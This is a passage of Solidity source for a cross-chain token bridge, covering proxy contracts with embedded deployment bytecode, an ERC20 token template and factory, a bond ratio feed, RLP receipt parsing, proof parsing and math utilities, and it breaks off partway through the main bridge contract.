BEACON_SLOT; assembly { bridge := sload(slot) } address impl = ICrossChainBridge(bridge).getBondImplementation(); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } function setBeacon(address newBeacon) external { address beacon; bytes32 slot = BEACON_SLOT; assembly { beacon := sload(slot) } require(beacon == address(0x00)); assembly { sstore(slot, newBeacon) } } } library InternetBondProxyUtils { bytes constant internal INTERNET_BOND_PROXY_BYTECODE = hex"608060405234801561001057600080fd5b50610215806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d42afb56146100fd575b60008061005960017fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d516101a2565b60001b9050805491506000826001600160a01b0316631626425c6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561009f57600080fd5b505af11580156100b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100d79190610185565b90503660008037600080366000845af43d6000803e8080156100f8573d6000f35b3d6000fd5b61011061010b366004610161565b610112565b005b60008061014060017fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d516101a2565b8054925090506001600160a01b0382161561015a57600080fd5b9190915550565b60006020828403121561017357600080fd5b813561017e816101c7565b9392505050565b60006020828403121561019757600080fd5b815161017e816101c7565b6000828210156101c257634e487b7160e01b600052601160045260246000fd5b500390565b6001600160a01b03811681146101dc57600080fd5b5056fea2646970667358221220d283edebb1e56b63c1cf809c7a7219bbf056c367c289dabb51fdba5f71cdf44c64736f6c63430008060033"; bytes32 constant internal INTERNET_BOND_PROXY_HASH = keccak256(INTERNET_BOND_PROXY_BYTECODE); bytes4 constant internal SET_META_DATA_SIG = bytes4(keccak256("initAndObtainOwnership(bytes32,bytes32,uint256,address,address,bool)")); bytes4 constant internal SET_BEACON_SIG = bytes4(keccak256("setBeacon(address)")); function deployInternetBondProxy(address bridge, bytes32 salt, ICrossChainBridge.Metadata memory metaData, address ratioFeed) internal returns (address) { /* lets concat bytecode with constructor parameters */ bytes memory bytecode = INTERNET_BOND_PROXY_BYTECODE; /* deploy new contract and store contract address in result variable */ address result; assembly { result := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } require(result != address(0x00), "deploy failed"); /* setup impl */ (bool success, bytes memory returnValue) = result.call(abi.encodePacked(SET_BEACON_SIG, abi.encode(bridge))); require(success, string(abi.encodePacked("setBeacon failed: ", returnValue))); /* setup meta data */ bytes memory inputData = new bytes(0xc4); bool isRebasing = metaData.bondMetadata[1] == bytes1(0x01); bytes4 selector = SET_META_DATA_SIG; assembly { mstore(add(inputData, 0x20), selector) mstore(add(inputData, 0x24), mload(metaData)) mstore(add(inputData, 0x44), mload(add(metaData, 0x20))) mstore(add(inputData, 0x64), mload(add(metaData, 0x40))) mstore(add(inputData, 0x84), mload(add(metaData, 0x60))) mstore(add(inputData, 0xa4), ratioFeed) mstore(add(inputData, 0xc4), isRebasing) } (success, returnValue) = result.call(inputData); require(success, string(abi.encodePacked("set metadata failed: ", returnValue))); /* return generated contract address */ return result; } function internetBondProxyAddress(address deployer, bytes32 salt) internal pure returns (address) { bytes32 bytecodeHash = keccak256(INTERNET_BOND_PROXY_BYTECODE); bytes32 hash = keccak256(abi.encodePacked(uint8(0xff), address(deployer), salt, bytecodeHash)); return address(bytes20(hash << 96)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./interfaces/IInternetBondRatioFeed.sol"; contract InternetBondRatioFeed is OwnableUpgradeable, IInternetBondRatioFeed { event OperatorAdded(address operator); event OperatorRemoved(address operator); mapping(address => bool) _isOperator; mapping(address => uint256) private _ratios; function initialize(address operator) public initializer { __Ownable_init(); _isOperator[operator] = true; } function updateRatioBatch(address[] calldata addresses, uint256[] calldata ratios) public override onlyOperator { require(addresses.length == ratios.length, "corrupted ratio data"); for (uint256 i = 0; i < addresses.length; i++) { _ratios[addresses[i]] = ratios[i]; } } function getRatioFor(address token) public view override returns (uint256) { return _ratios[token]; } function addOperator(address operator) public onlyOwner { require(operator != address(0x0), "operator must be non-zero"); require(!_isOperator[operator], "already operator"); _isOperator[operator] = true; emit OperatorAdded(operator); } function removeOperator(address operator) public onlyOwner { require(_isOperator[operator], "not an operator"); delete _isOperator[operator]; emit OperatorRemoved(operator); } modifier onlyOperator() { require(msg.sender == owner() || _isOperator[msg.sender], "Operator: not allowed"); _; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/IERC20.sol"; contract SimpleToken is Context, IERC20, IERC20Mintable, IERC20Pegged { // pre-defined state bytes32 internal _symbol; // 0 bytes32 internal _name; // 1 address public owner; // 2 // internal state mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _totalSupply; uint256 internal _originChain; address internal _originAddress; function name() public view returns (string memory) { return bytes32ToString(_name); } function symbol() public view returns (string memory) { return bytes32ToString(_symbol); } function bytes32ToString(bytes32 _bytes32) internal pure returns (string memory) { if (_bytes32 == 0) { return new string(0); } uint8 cntNonZero = 0; for (uint8 i = 16; i > 0; i >>= 1) { if (_bytes32[cntNonZero + i] != 0) cntNonZero += i; } string memory result = new string(cntNonZero + 1); assembly { mstore(add(result, 0x20), _bytes32) } return result; } function decimals() public pure returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount, true); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount, true); return true; } function increaseAllowance(address spender, uint256 amount) public virtual returns (bool) { _increaseAllowance(_msgSender(), spender, amount, true); return true; } function decreaseAllowance(address spender, uint256 amount) public virtual returns (bool) { _decreaseAllowance(_msgSender(), spender, amount, true); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount, true); _decreaseAllowance(sender, _msgSender(), amount, true); return true; } function _increaseAllowance(address owner, address spender, uint256 amount, bool emitEvent) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] += amount; if (emitEvent) { emit Approval(owner, spender, _allowances[owner][spender]); } } function _decreaseAllowance(address owner, address spender, uint256 amount, bool emitEvent) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] -= amount; if (emitEvent) { emit Approval(owner, spender, _allowances[owner][spender]); } } function _approve(address owner, address spender, uint256 amount, bool emitEvent) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; if (emitEvent) { emit Approval(owner, spender, amount); } } function _transfer(address sender, address recipient, uint256 amount, bool emitEvent) internal { require(sender != address(0)); require(recipient != address(0)); _balances[sender] -= amount; _balances[recipient] += amount; if (emitEvent) { emit Transfer(sender, recipient, amount); } } function mint(address account, uint256 amount) public onlyOwner virtual override { require(account != address(0)); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function burn(address account, uint256 amount) public onlyOwner virtual override { require(account != address(0)); _balances[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } modifier emptyOwner() { require(owner == address(0x00)); _; } function initAndObtainOwnership(bytes32 symbol, bytes32 name, uint256 originChain, address originAddress) public emptyOwner { owner = msg.sender; _symbol = symbol; _name = name; _originChain = originChain; _originAddress = originAddress; } modifier onlyOwner() { require(msg.sender == owner); _; } function getOrigin() public view override returns (uint256, address) { return (_originChain, _originAddress); } } contract SimpleTokenFactory { address private _template; constructor() { _template = SimpleTokenFactoryUtils.deploySimpleTokenTemplate(this); } function getImplementation() public view returns (address) { return _template; } } library SimpleTokenFactoryUtils { bytes32 constant internal SIMPLE_TOKEN_TEMPLATE_SALT = keccak256("SimpleTokenTemplateV1"); bytes constant internal SIMPLE_TOKEN_TEMPLATE_BYTECODE = hex"608060405234801561001057600080fd5b50610a7f806100206000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a457c2d711610066578063a457c2d714610224578063a9059cbb14610237578063dd62ed3e1461024a578063df1f29ee1461028357600080fd5b80638da5cb5b146101cb57806394bfed88146101f657806395d89b41146102095780639dc29fac1461021157600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d6102a6565b60405161011a919061095e565b60405180910390f35b6101366101313660046108f5565b6102b8565b604051901515815260200161011a565b6005545b60405190815260200161011a565b6101366101663660046108b9565b6102d0565b6040516012815260200161011a565b6101366101883660046108f5565b6102f6565b6101a061019b3660046108f5565b610305565b005b61014a6101b0366004610864565b6001600160a01b031660009081526003602052604090205490565b6002546101de906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b6101a061020436600461091f565b6103b9565b61010d61040a565b6101a061021f3660046108f5565b610417565b6101366102323660046108f5565b6104c5565b6101366102453660046108f5565b6104d4565b61014a610258366004610886565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600654600754604080519283526001600160a01b0390911660208301520161011a565b60606102b36001546104e3565b905090565b60006102c733848460016105b9565b50600192915050565b60006102df8484846001610661565b6102ec843384600161072c565b5060019392505050565b60006102c733848460016107eb565b6002546001600160a01b0316331461031c57600080fd5b6001600160a01b03821661032f57600080fd5b806005600082825461034191906109b3565b90915550506001600160a01b0382166000908152600360205260408120805483929061036e9084906109b3565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b6002546001600160a01b0316156103cf57600080fd5b60028054336001600160a01b031991821617909155600094909455600192909255600655600780549092166001600160a01b03909116179055565b60606102b36000546104e3565b6002546001600160a01b0316331461042e57600080fd5b6001600160a01b03821661044157600080fd5b6001600160a01b038216600090815260036020526040812080548392906104699084906109f0565b92505081905550806005600082825461048291906109f0565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016103ad565b60006102c7338484600161072c565b60006102c73384846001610661565b6060816104fe57505060408051600081526020810190915290565b600060105b60ff811615610555578361051782846109cb565b60ff166020811061052a5761052a610a1d565b1a60f81b6001600160f81b0319161561054a5761054781836109cb565b91505b60011c607f16610503565b5060006105638260016109cb565b60ff1667ffffffffffffffff81111561057e5761057e610a33565b6040519080825280601f01601f1916602001820160405280156105a8576020820181803683370190505b506020810194909452509192915050565b6001600160a01b0384166105cc57600080fd5b6001600160a01b0383166105df57600080fd5b6001600160a01b038085166000908152600460209081526040808320938716835292905220829055801561065b57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161065291815260200190565b60405180910390a35b50505050565b6001600160a01b03841661067457600080fd5b6001600160a01b03831661068757600080fd5b6001600160a01b038416600090815260036020526040812080548492906106af9084906109f0565b90915550506001600160a01b038316600090815260036020526040812080548492906106dc9084906109b3565b9091555050801561065b57826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161065291815260200190565b6001600160a01b03841661073f57600080fd5b6001600160a01b03831661075257600080fd5b6001600160a01b038085166000908152600460209081526040808320938716835292905290812080548492906107899084906109f0565b9091555050801561065b576001600160a01b038481166000818152600460209081526040808320948816808452948252918290205491519182527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610652565b6001600160a01b0384166107fe57600080fd5b6001600160a01b03831661081157600080fd5b6001600160a01b038085166000908152600460209081526040808320938716835292905290812080548492906107899084906109b3565b80356001600160a01b038116811461085f57600080fd5b919050565b60006020828403121561087657600080fd5b61087f82610848565b9392505050565b6000806040838503121561089957600080fd5b6108a283610848565b91506108b060208401610848565b90509250929050565b6000806000606084860312156108ce57600080fd5b6108d784610848565b92506108e560208501610848565b9150604084013590509250925092565b6000806040838503121561090857600080fd5b61091183610848565b946020939093013593505050565b6000806000806080858703121561093557600080fd5b84359350602085013592506040850135915061095360608601610848565b905092959194509250565b600060208083528351808285015260005b8181101561098b5785810183015185820160400152820161096f565b8181111561099d576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156109c6576109c6610a07565b500190565b600060ff821660ff84168060ff038211156109e8576109e8610a07565b019392505050565b600082821015610a0257610a02610a07565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220fe9609dd4d099f8ee61d515b2ebf66a53d24e78cf669be48b69b627acefde71564736f6c63430008060033"; bytes32 constant internal SIMPLE_TOKEN_TEMPLATE_HASH = keccak256(SIMPLE_TOKEN_TEMPLATE_BYTECODE); bytes4 constant internal SET_META_DATA_SIG = bytes4(keccak256("obtainOwnership(bytes32,bytes32)")); function deploySimpleTokenTemplate(SimpleTokenFactory templateFactory) internal returns (address) { /* we can use any deterministic salt here, since we don't care about it */ bytes32 salt = SIMPLE_TOKEN_TEMPLATE_SALT; /* concat bytecode with constructor */ bytes memory bytecode = SIMPLE_TOKEN_TEMPLATE_BYTECODE; /* deploy contract and store result in result variable */ address result; assembly { result := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } require(result != address(0x00), "deploy failed"); /* check that generated contract address is correct */ require(result == simpleTokenTemplateAddress(templateFactory), "address mismatched"); return result; } function simpleTokenTemplateAddress(SimpleTokenFactory templateFactory) internal pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(uint8(0xff), address(templateFactory), SIMPLE_TOKEN_TEMPLATE_SALT, SIMPLE_TOKEN_TEMPLATE_HASH)); return address(bytes20(hash << 96)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "./interfaces/ICrossChainBridge.sol"; contract SimpleTokenProxy { bytes32 private constant BEACON_SLOT = bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1); fallback() external { address bridge; bytes32 slot = BEACON_SLOT; assembly { bridge := sload(slot) } address impl = ICrossChainBridge(bridge).getTokenImplementation(); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } function setBeacon(address newBeacon) external { address beacon; bytes32 slot = BEACON_SLOT; assembly { beacon := sload(slot) } require(beacon == address(0x00)); assembly { sstore(slot, newBeacon) } } } library SimpleTokenProxyUtils { bytes constant internal SIMPLE_TOKEN_PROXY_BYTECODE = hex"608060405234801561001057600080fd5b50610215806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d42afb56146100fd575b60008061005960017fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d516101a2565b60001b9050805491506000826001600160a01b031663709bc7f36040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561009f57600080fd5b505af11580156100b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100d79190610185565b90503660008037600080366000845af43d6000803e8080156100f8573d6000f35b3d6000fd5b61011061010b366004610161565b610112565b005b60008061014060017fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d516101a2565b8054925090506001600160a01b0382161561015a57600080fd5b9190915550565b60006020828403121561017357600080fd5b813561017e816101c7565b9392505050565b60006020828403121561019757600080fd5b815161017e816101c7565b6000828210156101c257634e487b7160e01b600052601160045260246000fd5b500390565b6001600160a01b03811681146101dc57600080fd5b5056fea2646970667358221220e6ae4b3dc2474e43ff609e19eb520ce54b6f38170a43a6f96541360be5efc2b464736f6c63430008060033"; bytes32 constant internal SIMPLE_TOKEN_PROXY_HASH = keccak256(SIMPLE_TOKEN_PROXY_BYTECODE); bytes4 constant internal SET_META_DATA_SIG = bytes4(keccak256("initAndObtainOwnership(bytes32,bytes32,uint256,address)")); bytes4 constant internal SET_BEACON_SIG = bytes4(keccak256("setBeacon(address)")); function deploySimpleTokenProxy(address bridge, bytes32 salt, ICrossChainBridge.Metadata memory metaData) internal returns (address) { /* lets concat bytecode with constructor parameters */ bytes memory bytecode = SIMPLE_TOKEN_PROXY_BYTECODE; /* deploy new contract and store contract address in result variable */ address result; assembly { result := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } require(result != address(0x00), "deploy failed"); /* setup impl */ (bool success,) = result.call(abi.encodePacked(SET_BEACON_SIG, abi.encode(bridge))); require(success, "setBeacon failed"); /* setup meta data */ (success,) = result.call(abi.encodePacked(SET_META_DATA_SIG, abi.encode(metaData))); require(success, "set metadata failed"); /* return generated contract address */ return result; } function simpleTokenProxyAddress(address deployer, bytes32 salt) internal pure returns (address) { bytes32 bytecodeHash = keccak256(SIMPLE_TOKEN_PROXY_BYTECODE); bytes32 hash = keccak256(abi.encodePacked(uint8(0xff), address(deployer), salt, bytecodeHash)); return address(bytes20(hash << 96)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "../interfaces/IERC20.sol"; interface ICrossChainBridge { event ContractAllowed(address contractAddress, uint256 toChain); event ContractDisallowed(address contractAddress, uint256 toChain); event ConsensusChanged(address consensusAddress); event TokenImplementationChanged(address consensusAddress); event BondImplementationChanged(address consensusAddress); struct Metadata { bytes32 symbol; bytes32 name; uint256 originChain; address originAddress; bytes32 bondMetadata; // encoded metadata version, bond type } event DepositLocked( uint256 chainId, address indexed fromAddress, address indexed toAddress, address fromToken, address toToken, uint256 totalAmount, Metadata metadata ); event DepositBurned( uint256 chainId, address indexed fromAddress, address indexed toAddress, address fromToken, address toToken, uint256 totalAmount, Metadata metadata, address originToken ); event WithdrawMinted( bytes32 receiptHash, address indexed fromAddress, address indexed toAddress, address fromToken, address toToken, uint256 totalAmount ); event WithdrawUnlocked( bytes32 receiptHash, address indexed fromAddress, address indexed toAddress, address fromToken, address toToken, uint256 totalAmount ); enum InternetBondType { NOT_BOND, REBASING_BOND, NONREBASING_BOND } function isPeggedToken(address toToken) external returns (bool); function deposit(uint256 toChain, address toAddress) payable external; function deposit(address fromToken, uint256 toChain, address toAddress, uint256 amount) external; function withdraw(bytes calldata encodedProof, bytes calldata rawReceipt, bytes calldata receiptRootSignature) external; function factoryPeggedToken(uint256 fromChain, Metadata calldata metaData) external; function factoryPeggedBond(uint256 fromChain, Metadata calldata metaData) external; function getTokenImplementation() external returns (address); function getBondImplementation() external returns (address); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Mintable { function mint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; } interface IERC20Pegged { function getOrigin() external view returns (uint256, address); } interface IERC20Extra { function name() external returns (string memory); function decimals() external returns (uint8); function symbol() external returns (string memory); } interface IERC20InternetBond { function ratio() external view returns (uint256); function isRebasing() external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; interface IInternetBondRatioFeed { function updateRatioBatch(address[] calldata addresses, uint256[] calldata ratios) external; function getRatioFor(address) external view returns (uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.6; library CallDataRLPReader { uint8 constant STRING_SHORT_START = 0x80; uint8 constant STRING_LONG_START = 0xb8; uint8 constant LIST_SHORT_START = 0xc0; uint8 constant LIST_LONG_START = 0xf8; uint8 constant WORD_SIZE = 32; function beginIteration(uint256 listOffset) internal pure returns (uint256 iter) { return listOffset + _payloadOffset(listOffset); } function next(uint256 iter) internal pure returns (uint256 nextIter) { return iter + itemLength(iter); } function payloadLen(uint256 ptr, uint256 len) internal pure returns (uint256) { return len - _payloadOffset(ptr); } function toAddress(uint256 ptr) internal pure returns (address) { return address(uint160(toUint(ptr, 21))); } function toUint(uint256 ptr, uint256 len) internal pure returns (uint256) { require(len > 0 && len <= 33); uint256 offset = _payloadOffset(ptr); uint256 numLen = len - offset; uint256 result; assembly { result := calldataload(add(ptr, offset)) // cut off redundant bytes result := shr(mul(8, sub(32, numLen)), result) } return result; } function toUintStrict(uint256 ptr) internal pure returns (uint256) { // one byte prefix uint256 result; assembly { result := calldataload(add(ptr, 1)) } return result; } function rawDataPtr(uint256 ptr) internal pure returns (uint256) { return ptr + _payloadOffset(ptr); } // @return entire rlp item byte length function itemLength(uint callDataPtr) internal pure returns (uint256) { uint256 itemLen; uint256 byte0; assembly { byte0 := byte(0, calldataload(callDataPtr)) } if (byte0 < STRING_SHORT_START) itemLen = 1; else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1; else if (byte0 < LIST_SHORT_START) { assembly { let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is callDataPtr := add(callDataPtr, 1) // skip over the first byte /* 32 byte word size */ let dataLen := shr(mul(8, sub(32, byteLen)), calldataload(callDataPtr)) itemLen := add(dataLen, add(byteLen, 1)) } } else if (byte0 < LIST_LONG_START) { itemLen = byte0 - LIST_SHORT_START + 1; } else { assembly { let byteLen := sub(byte0, 0xf7) callDataPtr := add(callDataPtr, 1) let dataLen := shr(mul(8, sub(32, byteLen)), calldataload(callDataPtr)) itemLen := add(dataLen, add(byteLen, 1)) } } return itemLen; } // @return number of bytes until the data function _payloadOffset(uint256 callDataPtr) private pure returns (uint256) { uint256 byte0; assembly { byte0 := byte(0, calldataload(callDataPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1; else if (byte0 < LIST_SHORT_START) return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "./CallDataRLPReader.sol"; import "./Utils.sol"; import "../interfaces/ICrossChainBridge.sol"; library EthereumVerifier { bytes32 constant TOPIC_PEG_IN_LOCKED = keccak256("DepositLocked(uint256,address,address,address,address,uint256,(bytes32,bytes32,uint256,address,bytes32))"); bytes32 constant TOPIC_PEG_IN_BURNED = keccak256("DepositBurned(uint256,address,address,address,address,uint256,(bytes32,bytes32,uint256,address,bytes32),address)"); enum PegInType { None, Lock, Burn } struct State { bytes32 receiptHash; address contractAddress; uint256 chainId; address fromAddress; address payable toAddress; address fromToken; address toToken; uint256 totalAmount; // metadata fields (we can't use Metadata struct here because of Solidity struct memory layout) bytes32 symbol; bytes32 name; uint256 originChain; address originAddress; bytes32 bondMetadata; address originToken; } function getMetadata(State memory state) internal pure returns (ICrossChainBridge.Metadata memory) { ICrossChainBridge.Metadata memory metadata; assembly { metadata := add(state, 0x100) } return metadata; } function parseTransactionReceipt(uint256 receiptOffset) internal view returns (State memory, PegInType pegInType) { State memory state; /* parse peg-in data from logs */ uint256 iter = CallDataRLPReader.beginIteration(receiptOffset + 0x20); { /* postStateOrStatus - we must ensure that tx is not reverted */ uint256 statusOffset = iter; iter = CallDataRLPReader.next(iter); require(CallDataRLPReader.payloadLen(statusOffset, iter - statusOffset) == 1, "tx is reverted"); } /* skip cumulativeGasUsed */ iter = CallDataRLPReader.next(iter); /* logs - we need to find our logs */ uint256 logs = iter; iter = CallDataRLPReader.next(iter); uint256 logsIter = CallDataRLPReader.beginIteration(logs); for (; logsIter < iter;) { uint256 log = logsIter; logsIter = CallDataRLPReader.next(logsIter); /* make sure there is only one peg-in event in logs */ PegInType logType = _decodeReceiptLogs(state, log); if (logType != PegInType.None) { require(pegInType == PegInType.None, "multiple logs"); pegInType = logType; } } /* don't allow to process if peg-in type is unknown */ require(pegInType != PegInType.None, "missing logs"); return (state, pegInType); } function _decodeReceiptLogs( State memory state, uint256 log ) internal view returns (PegInType pegInType) { uint256 logIter = CallDataRLPReader.beginIteration(log); address contractAddress; { /* parse smart contract address */ uint256 addressOffset = logIter; logIter = CallDataRLPReader.next(logIter); contractAddress = CallDataRLPReader.toAddress(addressOffset); } /* topics */ bytes32 mainTopic; address fromAddress; address toAddress; { uint256 topicsIter = logIter; logIter = CallDataRLPReader.next(logIter); // Must be 3 topics RLP encoded: event signature, fromAddress, toAddress // Each topic RLP encoded is 33 bytes (0xa0[32 bytes data]) // Total payload: 99 bytes. Since it's list with total size bigger than 55 bytes we need 2 bytes prefix (0xf863) // So total size of RLP encoded topics array must be 101 if (CallDataRLPReader.itemLength(topicsIter) != 101) { return PegInType.None; } topicsIter = CallDataRLPReader.beginIteration(topicsIter); mainTopic = bytes32(CallDataRLPReader.toUintStrict(topicsIter)); topicsIter = CallDataRLPReader.next(topicsIter); fromAddress = address(bytes20(uint160(CallDataRLPReader.toUintStrict(topicsIter)))); topicsIter = CallDataRLPReader.next(topicsIter); toAddress = address(bytes20(uint160(CallDataRLPReader.toUintStrict(topicsIter)))); topicsIter = CallDataRLPReader.next(topicsIter); require(topicsIter == logIter); // safety check that iteration is finished } uint256 ptr = CallDataRLPReader.rawDataPtr(logIter); logIter = CallDataRLPReader.next(logIter); uint256 len = logIter - ptr; { // parse logs based on topic type and check that event data has correct length uint256 expectedLen; if (mainTopic == TOPIC_PEG_IN_LOCKED) { expectedLen = 0x120; pegInType = PegInType.Lock; } else if (mainTopic == TOPIC_PEG_IN_BURNED) { expectedLen = 0x140; pegInType = PegInType.Burn; } else { return PegInType.None; } if (len != expectedLen) { return PegInType.None; } } { // read chain id separately and verify that contract that emitted event is relevant uint256 chainId; assembly { chainId := calldataload(ptr) } if (chainId != Utils.currentChain()) return PegInType.None; // All checks are passed after this point, no errors allowed and we can modify state state.chainId = chainId; ptr += 0x20; len -= 0x20; } { uint256 structOffset; assembly { // skip 5 fields: receiptHash, contractAddress, chainId, fromAddress, toAddress structOffset := add(state, 0xa0) calldatacopy(structOffset, ptr, len) } } state.contractAddress = contractAddress; state.fromAddress = fromAddress; state.toAddress = payable(toAddress); return pegInType; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "./CallDataRLPReader.sol"; import "./Utils.sol"; library ProofParser { // Proof is message format signed by the protocol. It contains somewhat redundant information, so only part // of the proof could be passed into the contract and other part can be inferred from transaction receipt struct Proof { uint256 chainId; uint256 status; bytes32 transactionHash; uint256 blockNumber; bytes32 blockHash; uint256 transactionIndex; bytes32 receiptHash; uint256 transferAmount; } function parseProof(uint256 proofOffset) internal pure returns (Proof memory) { Proof memory proof; uint256 dataOffset = proofOffset + 0x20; assembly { calldatacopy(proof, dataOffset, 0x20) // 1 field (chainId) dataOffset := add(dataOffset, 0x20) calldatacopy(add(proof, 0x40), dataOffset, 0x80) // 4 fields * 0x20 = 0x80 dataOffset := add(dataOffset, 0x80) calldatacopy(add(proof, 0xe0), dataOffset, 0x20) // transferAmount } return proof; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "../SimpleToken.sol"; library Utils { function currentChain() internal view returns (uint256) { uint256 chain; assembly { chain := chainid() } return chain; } function stringToBytes32(string memory source) internal pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function saturatingMultiply(uint256 a, uint256 b) internal pure returns (uint256) { unchecked { if (a == 0) return 0; uint256 c = a * b; if (c / a != b) return type(uint256).max; return c; } } function saturatingAdd(uint256 a, uint256 b) internal pure returns (uint256) { unchecked { uint256 c = a + b; if (c < a) return type(uint256).max; return c; } } // Preconditions: // 1. a may be arbitrary (up to 2 ** 256 - 1) // 2. b * c < 2 ** 256 // Returned value: min(floor((a * b) / c), 2 ** 256 - 1) function multiplyAndDivideFloor(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) { return saturatingAdd( saturatingMultiply(a / c, b), ((a % c) * b) / c // can't fail because of assumption 2. ); } // Preconditions: // 1. a may be arbitrary (up to 2 ** 256 - 1) // 2. b * c < 2 ** 256 // Returned value: min(ceil((a * b) / c), 2 ** 256 - 1) function multiplyAndDivideCeil(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) { return saturatingAdd( saturatingMultiply(a / c, b), ((a % c) * b + (c - 1)) / c // can't fail because of assumption 2. ); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol"; import "../interfaces/ICrossChainBridge.sol"; import "../interfaces/IERC20.sol"; import "../libraries/EthereumVerifier.sol"; import "../libraries/ProofParser.sol"; import "../libraries/Utils.sol"; import "../SimpleToken.sol"; import "../InternetBond.sol"; import "../InternetBondRatioFeed.sol"; import "../BridgeRouter.sol"; contract CrossChainBridge_R1 is PausableUpgradeable, ReentrancyGuardUpgradeable, OwnableUpgradeable, ICrossChainBridge { mapping(uint256 => address) private _bridgeAddressByChainId; address private _consensusAddress; mapping(bytes32 => bool) private _usedProofs; address private _tokenImplementation; mapping(address => address) private _peggedTokenOrigin; Metadata _nativeTokenMetadata; address private _bondImplementation; IInternetBondRatioFeed private _internetBondRatioFeed; BridgeRouter private _bridgeRouter; function initialize( address consensusAddress, SimpleTokenFactory tokenFactory, InternetBondFactory 